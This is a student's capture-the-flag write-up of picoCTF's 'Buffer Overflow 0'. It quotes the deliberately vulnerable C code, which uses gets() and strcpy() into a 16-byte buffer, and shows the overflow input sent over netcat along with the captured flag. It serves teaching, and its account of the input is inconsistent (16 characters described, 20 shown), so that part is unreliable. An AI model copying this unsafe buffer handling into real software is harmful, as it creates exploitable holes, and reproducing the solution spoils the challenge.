



Saint Columban College
College of Computing Studies
Pagadian City



Buffer Overflow 0

buffer overflow 0 



Medium

Binary Exploitation

picoCTF 2022

gets

AUTHOR: ALEX FULTON / PALASH OSWAL

Description

Let's start off simple, can you overflow the correct buffer? The program is available [here](#). You can view source [here](#).

Additional details will be available after launching your challenge instance.

This challenge launches an instance on demand.

Its current status is: **NOT_RUNNING**

Launch Instance

Hints

1

2

3

If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.

31,896 users solved



87% Liked



 picoCTF{FLAG}

Submit Flag

Author: The Analyst: Hyposelenia

Challenge: Buffer Overflow 0

Category: Binary Exploitation

Date: 03/23/26



I. Objective

The objective of this challenge is to understand how a **buffer overflow vulnerability** works and how improper input handling can lead to unexpected behavior in a program.

The goal is to exploit this vulnerability to **trigger the program into revealing the hidden flag**.

II. Background

Programs store data in memory using something called **buffers**. A buffer is simply a space in memory with a fixed size.

If a program does not properly check how much data is being placed into a buffer, extra data can **overflow** into other parts of memory. This is called a **buffer overflow**.

In this challenge, a vulnerable function (`gets()`) is used, which allows the user to input more data than the buffer can safely hold.

III. Tool Used

- **Oracle VirtualBox (Kali Linux)** – Linux environment
- **Linux Terminal** – Command execution
- **Sublime Text** – Code analysis
- **nc (Netcat)** – Remote connection to challenge server

IV. Methodology

1. Downloaded the program and its source code.



```
(kali㉿kali)-[~]
$ cd Downloads

(kali㉿kali)-[~/Downloads]
$ wget https://artifacts.picoctf.net/c/172/vuln
--2026-03-23 07:11:56-- https://artifacts.picoctf.net/c/172/vuln
Resolving artifacts.picoctf.net (artifacts.picoctf.net) ... 18.172.21.
Connecting to artifacts.picoctf.net (artifacts.picoctf.net)|18.172.21.
HTTP request sent, awaiting response ... 200 OK
Length: 16016 (16K) [application/octet-stream]
Saving to: 'vuln'

vuln                                          100%[=====]
2026-03-23 07:11:57 (17.1 MB/s) - 'vuln' saved [16016/16016]

(kali㉿kali)-[~/Downloads]
$ subl vuln

(kali㉿kali)-[~/Downloads]
$ wget https://artifacts.picoctf.net/c/172/vuln.c
--2026-03-23 07:13:04-- https://artifacts.picoctf.net/c/172/vuln.c
Resolving artifacts.picoctf.net (artifacts.picoctf.net) ... 18.172.21.
Connecting to artifacts.picoctf.net (artifacts.picoctf.net)|18.172.21.
HTTP request sent, awaiting response ... 200 OK
Length: 808 [application/octet-stream]
Saving to: 'vuln.c'

vuln.c                                       100%[=====]
2026-03-23 07:13:05 (21.0 MB/s) - 'vuln.c' saved [808/808]
```

2. Opened and analyzed the source code using Sublime Text.

```
(kali㉿kali)-[~/Downloads]
$ subl vuln.c

(kali㉿kali)-[~/Downloads]
$
```

3. Identified the use of the unsafe function gets() in the program.

```
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
```



4. Read the `gets()` manual and discovered it is **deprecated and unsafe**.

```
gets(3)
NAME
  gets - get a string from standard input (DEPRECATED)
LIBRARY
  Standard C library (libc, -lc)
SYNOPSIS
  #include <stdio.h>
  [[deprecated]] char *gets(char *s);
DESCRIPTION
  Never use this function.
  gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).
RETURN VALUE
  gets() returns s on success, and NULL on error or when end of file occurs while no characters have been read. However, given the lack of buffer overrun checking, there can be no guarantees that the function will even return.
ATTRIBUTES
  For an explanation of the terms used in this section, see attributes(7).
  Interface
  gets()
  Thread safety
  MT-Safe
STANDARDS
  POSIX.1-2008.
HISTORY
  C89, POSIX.1-2001.
  LSB deprecates gets(). POSIX.1-2008 marks gets() obsolescent. ISO C11 removes the specification of gets() from the C language, and since glibc 2.16, glibc header files don't expose the function declaration if the _ISOC11_SOURCE feature test macro is defined.
BUGS
  Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
  For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/definitions/242.html
SEE ALSO
  read(2), write(2), ferror(3), fgets(3), fgetc(3), fgetwc(3), fgetws(3), fopen(3), fread(3), fseek(3), getline(3), getuchar(3), puts(3), scanf(3), ungetc(3), unlocked_stdio(3), feature_test_macros(7)
Linux man-pages 6.8-1
Manual page gets(3) line 1/48 (END) (press h for help or q to quit)
```

5. Launched the challenge instance and connected using:
nc <server> <port>

```
(kali@kali)-[~]
$ nc saturn.picoctf.net 50601
```

Instance Time Remaining: 14:52

Restart Instance

6. When prompted for input, I entered **16 characters**:

abcdefghijklmnop

```
(kali@kali)-[~]
$ nc saturn.picoctf.net 50601
Input: abcdefgdefghijklmnop
```

7. This caused a **buffer overflow**, triggering unexpected behavior. As a result, it printed the flag.



```
(kali@kali)-[~]  
$ nc saturn.picoctf.net 50601  
Input: abcdefgdefghijklmnop  
picoCTF{ov3rf10ws_ar3nt_that_bad_9f2364bc}
```

V. Result

picoCTF{ov3rf10ws_ar3nt_that_bad_9f2364bc}

```
(kali@kali)-[~]  
$ nc saturn.picoctf.net 50601  
Input: abcdefgdefghijklmnop  
picoCTF{ov3rf10ws_ar3nt_that_bad_9f2364bc}
```

VI. Explanation

What is a Buffer?

Think of a **buffer** like a **small box** 📦

- If the box can hold **16 letters**, you should only put 16 inside
- If you try to put **more**, it will **spill out**

What is Buffer Overflow?

A **buffer overflow** is when:

You put **too much data into a small space**, and it spills into other areas

Real-life example:

Imagine:

- Lockers in your school
- Each locker including yours can only fit 16 items
- You try to store 20 items

The extra 4 items will go into someone else's locker...



That's the basic example overflow!

What is gets() and why is it BAD?

gets() function:

`gets(buf1);`

It takes user input **without checking size**

So, why is it dangerous?

Because:

It keeps accepting input EVEN IF it exceeds the buffer size

Think of it this way, gets() is like a **teacher who says:**

“Put as many books as you want in this small bag... I won't check.”

Result? bag breaks due to items stored exceeding what it can fit

That's why it is deprecated?

- i. Removed from modern C
- ii. Unsafe
- iii. Causes vulnerabilities

So lezz do code review...

Look at this part:

```
void vuln(char *input){  
  
    char buf2[16];  
  
    strcpy(buf2, input);  
  
}
```



What is happening here?

- `buf2[16]` → buffer that can hold **16 characters**
- `strcpy()` → copies input into buffer

BUT...

1. `strcpy()` does NOT check size
2. So if input > 16 → overflow happens



Why did 16 characters work?

I entered:

abcdefghijklmnop

That is exactly **16 characters**

But here's the trick:

- Strings in C need **extra space for a null character (\0)**
- So actually, **16 is already too much**

It spills over and causes memory corruption

What happens after overflow?

Look at this:

```
signal(SIGSEGV, sigsegv_handler);
```

This means:

“If the program crashes (segmentation fault), run this function”

And this function is:



```
segv_handler(int sig) {  
    printf("%s\n", flag);  
}
```

Prints the flag

Why did it work so easily?

Because the program is **intentionally vulnerable**:

- Uses `gets()`
- Uses `strcpy()`
- Has a **signal handler that prints the flag**

Perfect beginner exploit setup

VII. Conclusion

This challenge demonstrates how unsafe functions like **`gets()`** and **`strcpy()`** can lead to **buffer overflow vulnerabilities**.

By simply providing input larger than the buffer size, the program's memory was corrupted, causing a crash that triggered a function revealing the flag.

This highlights an important lesson in cybersecurity:

Never trust user input, and always enforce size limits when handling data.

— The Analyst: Hyposelenia